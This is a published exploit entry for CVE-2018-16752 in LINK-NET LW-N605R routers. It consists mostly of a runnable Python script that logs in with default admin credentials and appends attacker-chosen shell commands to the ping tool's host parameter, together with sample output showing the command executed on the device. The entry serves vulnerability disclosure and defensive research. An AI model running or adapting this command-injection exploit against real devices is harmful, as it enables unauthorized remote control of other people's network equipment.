LW-N605R Remote Code Execution

2018.09.11
Credit: Nassim Asrir
Risk: High
Local: No
Remote: Yes
CWE: N/A

''' # Title: LW-N605R - Remote Code Execution # Author: Nassim Asrir # Contact: wassline@gmail.com | https://www.linkedin.com/in/nassim-asrir-b73a57122/ # Vendor: LINK-NET # Description: LW-N605R devices allow Remote Code Execution via shell metacharacters in the HOST field of the ping feature at adm/systools.asp. Authentication is needed but the default password of admin for the admin account may be used in some cases. # CVE: CVE-2018-16752 # Example: aa[root@parrot]a[/home/sniperpex/Desktop] aaaa1/4 #python ./blue.py -t http://host/ -c ls -u admin -p admin _ __ __ _ _ __ ___ ____ ____ _____ _ _ _ | |\ \ / / | \ | |/ /_ / _ \| ___|| _ \ | ____|_ ___ __ | | ___ (_) |_ | | \ \ /\ / /____| \| | '_ \| | | |___ \| |_) | | _| \ \/ / '_ \| |/ _ \| | __| | |__\ V V /_____| |\ | (_) | |_| |___) | _ < | |___ > <| |_) | | (_) | | |_ |_____\_/\_/ |_| \_|\___/ \___/|____/|_| \_\ |_____/_/\_\ .__/|_|\___/|_|\__| |_| @AsrirNassim [+] Connection in progress... [+] Authentication in progress... [+] Username & Password: OK [+] Checking for vulnerability... [!] Command "ls": was executed! var usr tmp sys sbin proc mnt media lib init home etc_ro etc dev bin ''' import urllib2 import base64 import optparse import sys import bs4 banner = """ _ __ __ _ _ __ ___ ____ ____ _____ _ _ _ | |\ \ / / | \ | |/ /_ / _ \| ___|| _ \ | ____|_ ___ __ | | ___ (_) |_ | | \ \ /\ / /____| \| | '_ \| | | |___ \| |_) | | _| \ \/ / '_ \| |/ _ \| | __| | |__\ V V /_____| |\ | (_) | |_| |___) | _ < | |___ > <| |_) | | (_) | | |_ |_____\_/\_/ |_| \_|\___/ \___/|____/|_| \_\ |_____/_/\_\ .__/|_|\___/|_|\__| |_| @AsrirNassim """ # Check url def checkurl(url): if url[:8] != "https://" and url[:7] != "http://": print('[X] You must insert http:// or https:// procotol') sys.exit(1) else: return url+"/goform/sysTools" def connectionScan(url,user,pwd,cmd): print '[+] Connection in progress...' try: response = urllib2.Request(url) content = urllib2.urlopen(response) print '[X] LW-N605R Authentication not found' except urllib2.HTTPError, e: if e.code == 404: print '[X] Page not found' elif e.code == 401: try: print '[+] Authentication in progress...' base64string = base64.encodestring('%s:%s' % (user, pwd)).replace('\n', '') response = urllib2.Request(url+"/goform/sysTools?tool=0&pingCount=4&host=127.0.0.1;"+cmd+"&sumbit=OK", None) response.add_header("Authorization", "Basic %s" % base64string) content = urllib2.urlopen(response).read() if "putmsg(mPingCount);" in content: print '[+] Username & Password: OK' print '[+] Checking for vulnerability...' if 'e' in content: print '[!] Command "'+cmd+'": was executed!' else: print '[X] Not Vulnerable :(' else: print '[X] No LW-N605R page found' soup = bs4.BeautifulSoup(content, 'html.parser') for textarea in soup.find_all('textarea'): print textarea.get_text() except urllib2.HTTPError, e: if e.code == 401: print '[X] Wrong username or password' else: print '[X] HTTP Error: '+str(e.code) except urllib2.URLError: print '[X] Connection Error' else: print '[X] HTTP Error: '+str(e.code) except urllib2.URLError: print '[X] Connection Error' commandList = optparse.OptionParser('usage: %prog -t https://target:444/ -u admin -p pwd -c "ls"') commandList.add_option('-t', '--target', action="store", help="Insert TARGET URL", ) commandList.add_option('-c', '--cmd', action="store", help="Insert command name", ) commandList.add_option('-u', '--user', action="store", help="Insert username", ) commandList.add_option('-p', '--pwd', action="store", help="Insert password", ) options, remainder = commandList.parse_args() # Check args if not options.target or not options.cmd or not options.user or not options.pwd: print(banner) commandList.print_help() sys.exit(1) print(banner) url = checkurl(options.target) cmd = options.cmd user = options.user pwd = options.pwd connectionScan(url,user,pwd,cmd)


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